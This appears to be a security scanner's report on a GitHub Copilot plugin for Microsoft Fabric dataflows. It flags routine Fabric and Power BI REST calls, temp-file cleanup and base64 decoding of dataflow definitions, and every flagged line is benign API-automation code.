az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" - Network accessline 595
# raw error (the job-instance body's .failureReason: .errorCode / .isRetriable / .message) and STOP; # do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url $ - Network accessline 596
# do not re-trigger or debug-loop when failureReason.isRetriable=false or the error is workspace-wide. az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" Write-Error "Refresh terminated '$Status' (not - Network accessline 597
az rest --method get --url $Location --resource "https://api.fabric.microsoft.com" - Network accessline 610
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 613
[Credential-related source omitted] - Network accessline 614
[Credential-related source omitted] - Network accessline 615
[Credential-related source omitted] - Dangerous shell operationline 632
rm -f "$HDR" "$BODY" - Dangerous shell operationline 657
rm -f "$BODY_FILE"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-cli-quickref.md
- Network accessline 8
WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" - Network accessline 9
DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 10
API="https://api.fabric.microsoft.com/v1" - Network accessline 11
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 59
> **⚠ LRO caveat:** `getDefinition` can return **202 + Location** (the body is empty on the initial response) instead of an inline 200. The one-liner below only works for the synchronous case. For production code, use the LRO-aware curl pat - Network accessline 167
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 168
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[].{id:id, name:displayName, type:connectionDetails.type}" -o json - Network accessline 169
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 178
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 179
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?displayName=='$CONN_NAME'].{id:id, type:connectionDetails.type}" -o json - Network accessline 180
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 188
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 189
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?connectionDetails.type=='SQL'].{id:id, name:displayName}" -o json - Network accessline 190
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 194
az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 195
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?connectionDetails.type=='AzureBlobs'].id" -o tsv - Network accessline 196
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 206
RESULT=$(az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 207
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value[?id=='$CONN_ID'] | [0] | {id:id, name:displayName, type:connectionDetails.type}" \ - Network accessline 208
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 223
> **⚠ LRO caveat:** the `az rest --method post .../getDefinition` call below is a happy-path one-liner that only works when the response is synchronous (200). For large definitions or under load the API returns **202 + Location**; this snip - Network accessline 244
WS_ID="<id>" DF_ID="<id>" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 246
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 249
[Credential-related source omitted] - Network accessline 250
[Credential-related source omitted] - Network accessline 251
HTTP_CODE=$(curl -sS -X POST \ - Network accessline 252
[Credential-related source omitted] - Network accessline 253
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" \ - Dangerous shell operationline 271
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 275
# List all connections once for efficiency ALL_CONNECTIONS=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 276
ALL_CONNECTIONS=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 277
--resource "https://api.fabric.microsoft.com" \ - Network accessline 278
--url "https://api.fabric.microsoft.com/v1/connections" \ - Possible obfuscationline 334
[System.IO.File]::WriteAllBytes("mashup.pq", [Convert]::FromBase64String($base64String)) - Network accessline 344
> **⚠ LRO caveat:** the one-liner `getDefinition` below assumes a synchronous 200 response. Under load or for large definitions the API returns **202 + Location**, which this snippet does not handle — it will silently fail and decode garbag - Network accessline 483
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 484
[Credential-related source omitted] - Network accessline 485
[Credential-related source omitted] - Network accessline 486
[Credential-related source omitted] - Dangerous shell operationline 505
rm -f "$HDR" "$BODY" - Network accessline 510
The endpoint lives on the Power BI control plane (not on `api.fabric.microsoft.com`) and the field is `clusterId` (camelCase). Pass `--resource "https://analysis.windows.net/powerbi/api"` to get the right token audience. - Network accessline 513
CONN_ID="<connectionId>" PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 514
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 520
CLUSTER_ID=$(az rest --method get \ --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 521
--resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv) - Network accessline 522
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Dangerous shell operationline 562
rm -f "$UPDATE_BODY" - Network accessline 569
- **GitHub Copilot CLI**: Generate `az rest` one-liners for dataflow CRUD or complete `.sh` scripts. Always include `--resource "https://api.fabric.microsoft.com"` in output. Remind user about base64 encoding for definition parts.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/authoring-script-templates.md
- Network accessline 5
**Common prerequisites** (validated in each template): - `az` CLI installed — `https://aka.ms/install-azure-cli` - Network accessline 6
- `az` CLI installed — `https://aka.ms/install-azure-cli` - Network accessline 13
`getDefinition` (and other Fabric mutations) follow the [Fabric Long-Running Operation contract](https://learn.microsoft.com/rest/api/fabric/articles/long-running-operation): - Network accessline 28
# Prerequisites: $RESOURCE, $TOKEN, headers file $HDR, body file $BODY, $HTTP_CODE (e.g. from curl -D -o -w "%{http_code}") - Network accessline 88
WS_ID="${WS_ID:?Set WS_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 89
API="https://api.fabric.microsoft.com/v1" - Network accessline 90
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 128
# Define .platform PLATFORM='{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 129
PLATFORM='{ "$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", "metadata": {"type": "Dataflow", "displayName": "'"$DATAFLOW_NAME"'"}, - Network accessline 130
"$schema": "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json", - Network accessline 166
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 167
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 168
API="https://api.fabric.microsoft.com/v1" - Network accessline 169
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 181
[Credential-related source omitted] - Network accessline 182
[Credential-related source omitted] - Network accessline 183
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 201
rm -f "$GET_DEF_HDR" "$GET_DEF_BODY" - Network accessline 257
$Resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 288
function From-B64([string]$b64) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64)) } - Network accessline 338
DF_ID="${DF_ID:?Set DF_ID env var}" QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" - Network accessline 339
QUERY_NAME="${QUERY_NAME:?Set QUERY_NAME env var (must match a 'shared' member)}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 340
API="https://api.fabric.microsoft.com/v1" - Network accessline 341
RESOURCE="https://api.fabric.microsoft.com" - Dangerous shell operationline 393
rm -f "$PREVIEW_REQ" "$PREVIEW_OUT" - Dangerous shell operationline 399
rm -f "$PREVIEW_REQ" "$PREVIEW_OUT" - Network accessline 404
[Credential-related source omitted] - Network accessline 405
[Credential-related source omitted] - Network accessline 406
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 425
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 440
# 5. Persist the production mashup (always write to temp file — never inline --body for large payloads). # updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 441
# updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 446
UPDATE_BODY=$(mktemp); UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) echo "$DEFINITION_PAYLOAD" > "$UPDATE_BODY" UPDATE_CODE=$(curl -sS -X POST \ - Network accessline 447
[Credential-related source omitted] - Network accessline 448
UPDATE_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 468
rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT" - Network accessline 473
[Credential-related source omitted] - Network accessline 474
[Credential-related source omitted] - Network accessline 475
[Credential-related source omitted] - Access to secretsline 475
[Credential-related source omitted] - Access to secretsline 476
[Credential-related source omitted] - Dangerous shell operationline 494
rm -f "$VERIFY_BODY" "$VERIFY_HDR" - Network accessline 506
WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" - Network accessline 507
DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" RESOURCE="https://api.fabric.microsoft.com" - Network accessline 508
API="https://api.fabric.microsoft.com/v1" - Network accessline 509
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 518
# Trigger the job — capture Location header for polling. # az rest cannot return response headers; use curl with an az-acquired token. - Network accessline 519
# az rest cannot return response headers; use curl with an az-acquired token. - Network accessline 520
[Credential-related source omitted] - Network accessline 521
OP_URL=$(curl -sS -X POST \ - Network accessline 568
API="https://api.fabric.microsoft.com/v1" - Network accessline 569
RESOURCE="https://api.fabric.microsoft.com" - Dangerous shell operationline 617
rm -f /tmp/df_import_payload.json - Network accessline 650
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 651
$resource = "https://api.fabric.microsoft.com" - Network accessline 684
# Define .platform $platform = @{ "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" - Network accessline 685
$platform = @{ "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" metadata = @{ type = "Dataflow"; displayName = $DataflowName } - Network accessline 686
"`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json" - Network accessline 744
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 745
$resource = "https://api.fabric.microsoft.com" - Network accessline 800
API="https://api.fabric.microsoft.com/v1" - Network accessline 801
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 809
[Credential-related source omitted] - Network accessline 810
[Credential-related source omitted] - Network accessline 811
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 830
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 835
ALL_CONNECTIONS=$(az rest --method get \ --resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 836
--resource "$RESOURCE" \ --url "https://api.fabric.microsoft.com/v1/connections" \ --query "value" -o json) - Network accessline 837
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 869
else echo "❌ Validation failed: $MISSING missing connection(s)" echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayNa - Network accessline 870
echo "❌ Validation failed: $MISSING missing connection(s)" echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 871
echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 888
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 889
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 925
$queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64)) - Network accessline 928
# List all connections once for efficiency $allConnections = az rest --method get --resource $resource ` --url "https://api.fabric.microsoft.com/v1/connections" ` - Network accessline 929
$allConnections = az rest --method get --resource $resource --url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 930
--url "https://api.fabric.microsoft.com/v1/connections" ` - Network accessline 966
Write-Error "Validation failed: $missing missing connection(s)" Write-Host "To see available connections, run:" Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com - Network accessline 967
Write-Host "To see available connections, run:" Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" exi - Network accessline 968
Write-Host " az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'" - Network accessline 991
API="https://api.fabric.microsoft.com/v1" - Network accessline 992
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1000
[Credential-related source omitted] - Network accessline 1001
[Credential-related source omitted] - Network accessline 1002
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1021
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 1026
ALL_CONNECTIONS=$(az rest --method get --resource "$RESOURCE" --url "https://api.fabric.microsoft.com/v1/connections" - Network accessline 1028
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 1051
# Trigger refresh # az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1052
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1053
[Credential-related source omitted] - Network accessline 1054
[Credential-related source omitted] - Network accessline 1055
LOCATION=$(curl -sS -X POST \ - Network accessline 1116
API="https://api.fabric.microsoft.com/v1" - Network accessline 1117
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1121
# Step 1: Get current definition # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1122
# getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. echo "Step 1: Fetching definition..." - Network accessline 1123
# az rest cannot return response headers; use curl with an az-acquired token to capture Location. - Network accessline 1125
[Credential-related source omitted] - Network accessline 1126
[Credential-related source omitted] - Network accessline 1127
HTTP_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1146
rm -f "$GET_DEF_BODY" "$GET_DEF_HDR" - Network accessline 1159
# cloud connections. List once; reuse across all conn ids. echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 1160
echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" declare -A CLUSTER_IDS - Network accessline 1161
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 1162
declare -A CLUSTER_IDS DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1163
DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1164
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources") - Network accessline 1209
# updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can - Network accessline 1212
# stale connections[]. See § Fabric LRO Polling Pattern. UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) UPDATE_CODE=$(curl -sS -X POST \ - Network accessline 1213
[Credential-related source omitted] - Network accessline 1214
UPDATE_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1235
rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT" - Network accessline 1241
echo "Step 5: Verifying connections[] survived save..." VERIFY_HDR=$(mktemp); VERIFY_BODY=$(mktemp) VERIFY_CODE=$(curl -sS -X POST \ - Network accessline 1242
[Credential-related source omitted] - Network accessline 1243
VERIFY_CODE=$(curl -sS -X POST \ - Dangerous shell operationline 1263
rm -f "$VERIFY_HDR" "$VERIFY_BODY" - Network accessline 1288
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 1289
$resource = "https://api.fabric.microsoft.com" - Possible obfuscationline 1328
$queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64)) - Network accessline 1338
# returns PowerBIEntityNotFound for cloud connections. Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" - Network accessline 1339
Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" $dsList = az rest --method get --resource $pbiResource ` - Network accessline 1340
$pbiResource = "https://analysis.windows.net/powerbi/api" - Network accessline 1341
$dsList = az rest --method get --resource $pbiResource --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1342
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Possible obfuscationline 1448
$postQmJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($postQmB64)) - Network accessline 1471
API="https://api.fabric.microsoft.com/v1" - Network accessline 1472
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 1546
$api = "https://api.fabric.microsoft.com/v1" - Network accessline 1547
$resource = "https://api.fabric.microsoft.com" - Network accessline 1632
# ============== Config (caller fills these in) ============== $resource = 'https://api.fabric.microsoft.com' - Network accessline 1633
$resource = 'https://api.fabric.microsoft.com' - Network accessline 1634
$pbiResource = 'https://analysis.windows.net/powerbi/api' - Network accessline 1635
$wsId = '<workspace-guid>' $connId = '<connection-guid>' # PersonalCloud anonymous OData for the smoke test $sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' - Network accessline 1636
$connId = '<connection-guid>' # PersonalCloud anonymous OData for the smoke test $sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' $sourceKind = 'OData' - Network accessline 1637
$sourceUrl = 'http://services.odata.org/V3/Northwind/Northwind.svc' - Network accessline 1644
# for cloud connections. $dsList = az rest --method get --resource $pbiResource ` --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1645
$dsList = az rest --method get --resource $pbiResource --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1646
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json - Network accessline 1674
$platform = @{ '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json' - Network accessline 1675
'$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/bar_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/line_chart.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connection-management.md
- Network accessline 9
> **Authoritative API spec.** All schemas, field names, defaults, and credential shapes in this document are taken from Microsoft Learn: > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connecti - Network accessline 10
> - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections) - Network accessline 11
> - [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection) - Network accessline 12
> - [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types) - Network accessline 13
> - [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection) - Network accessline 14
> - [Test Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/test-connection) - Network accessline 80
Additional caller requirements: - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/ - Network accessline 81
- **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/fabric/admin/service-admin-porta - Network accessline 114
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 115
API="https://api.fabric.microsoft.com/v1" - Network accessline 198
RESOURCE="https://api.fabric.microsoft.com" - Network accessline 199
API="https://api.fabric.microsoft.com/v1" - Network accessline 397
# az rest cannot capture response headers — use curl for the initial call so we can read Location. - Network accessline 398
[Credential-related source omitted] - Network accessline 399
[Credential-related source omitted] - Network accessline 400
[Credential-related source omitted] - Dangerous shell operationline 422
rm -f "$HDR" "$BODY" - Network accessline 461
| URL | Returns | Notes | |---|---|---| | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference` - Network accessline 463
| `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`, … | Canonical pattern. Filter by `id = - Network accessline 467
> **Token audience.** The list endpoint accepts the Power BI audience (`https://analysis.windows.net/powerbi/api` — **no** trailing slash; the slashed form fails AADSTS500011). The Fabric token (`https://api.fabric.microsoft.com/`) is also - Network accessline 470
PBI_RESOURCE="https://analysis.windows.net/powerbi/api" - Network accessline 473
CLUSTER_ID=$(az rest --method get \ --resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 474
--resource "$PBI_RESOURCE" \ --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv) - Network accessline 475
--url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \ - Network accessline 502
> **⚠ LRO caveat:** the `getDefinition` call below assumes a synchronous 200 response. For production code, handle **202 + Location** with the LRO-aware curl pattern (see [authoring-cli-quickref.md § Validate All Connections in a Dataflow]( - Network accessline 601
> **Out of scope for ready-to-run templates.** Generating `encryptedCredentials` requires fetching the gateway member's RSA public key and serializing the credential payload according to Microsoft's encryption format. See [*Configure creden - Network accessline 626
- **Connection sharing / role assignments** — granting other principals access to use the connection. - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` - Network accessline 627
- **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` (see [Troubleshooting](#troubleshooting)). - **On-premises gateway credential encryption** — see Micr - Network accessline 628
- **On-premises gateway credential encryption** — see Microsoft's [*Configure credentials programmatically*](https://learn.microsoft.com/en-us/power-bi/developer/embedded/configure-credentials) for the RSA encryption format.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connectors.md
- Network accessline 36
Microsoft Learn documents `Web.Page` and `Web.BrowserContents` as available in cloud dataflows through an on-premises data gateway. See [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/we - Network accessline 38
[Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/web-troubleshoot#using-a-gateway-with-the-web-connector). - Network accessline 156
Html.Table(Web.Contents("https://example.com/page"), - Network accessline 167
Csv.Document(Web.Contents("https://example.com/data.csv"), - Network accessline 183
Lines.FromBinary(Web.Contents("https://example.com/log.txt"))
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/mashup-preview.md
- Network accessline 30
POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/executeQuery - Network accessline 45
- AAD/Entra access token. Audience: **Power BI** (`https://analysis.windows.net/powerbi/api`, **no** trailing slash) for `ClusterId` lookups against `api.powerbi.com/v2.0/...`; **Fabric** (`https://api.fabric.microsoft.com/`) for `executeQu - Network accessline 56
1. **Dataflow exists** in the target workspace. 2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted th - Network accessline 57
2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted through `updateDefinition`, **not** through this e - Network accessline 58
3. **Cloud connection JSON form** — each bound cloud connection is stored as a JSON string of the form `{"ClusterId":"<guid>","DatasourceId":"<guid>"}`. `ClusterId` is obtained from Power BI v2: `GET https://api.powerbi.com/v2.0/myorg/me/ga - Network accessline 251
[Credential-related source omitted] - Network accessline 260
curl -sS -X POST \ - Network accessline 261
"https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \ - Network accessline 272
[Credential-related source omitted] - Network accessline 276
} | ConvertTo-Json Invoke-WebRequest -Method POST ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 277
Invoke-WebRequest -Method POST -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" - Network accessline 278
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 290
resp = httpx.post( - Network accessline 291
f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery", - Network accessline 318
STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 319
-X POST "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \ - Network accessline 328
while :; do sleep "${RETRY:-2}" STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 329
[Credential-related source omitted] - Network accessline 330
STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \ - Network accessline 342
$resp = Invoke-WebRequest -Method POST ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 343
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" ` - Network accessline 367
url = f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery" - Network accessline 370
resp = httpx.post(url, headers=hdr, json=body, timeout=120) - Network accessline 371
while resp.status_code == 202: time.sleep(int(resp.headers.get("Retry-After", "2"))) resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) - Network accessline 372
time.sleep(int(resp.headers.get("Retry-After", "2"))) resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) resp.raise_for_status() - Network accessline 373
resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/output-destinations.md
- Network accessline 178
| 1 | Discover target artifact ID (lakehouse, warehouse, etc.) | `GET /v1/workspaces/{ws}/{itemType}s` | | 2 | Find the destination connection | `GET /v1/connections` + filter by type | | 3 | Resolve ClusterId for connection binding | `GET - Network accessline 180
| 3 | Resolve ClusterId for connection binding | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` ⚠<U+FE0F> | - Network accessline 198
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 199
--resource "https://api.fabric.microsoft.com" \ - Network accessline 200
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 283
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 284
--resource "https://api.fabric.microsoft.com" \ - Network accessline 285
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \ - Network accessline 322
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 323
--resource "https://api.fabric.microsoft.com" \ - Network accessline 324
--url "https://api.fabric.microsoft.com/v1/connections" \ - Network accessline 359
> **Critical: Path matching.** The `path` value in `queryMetadata.json connections[]` and the URL in the M code must **exactly match** the connection's `connectionDetails.path`. If the connection was created with a trailing slash (e.g., `ht - Network accessline 364
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 365
--resource "https://api.fabric.microsoft.com" \ - Network accessline 366
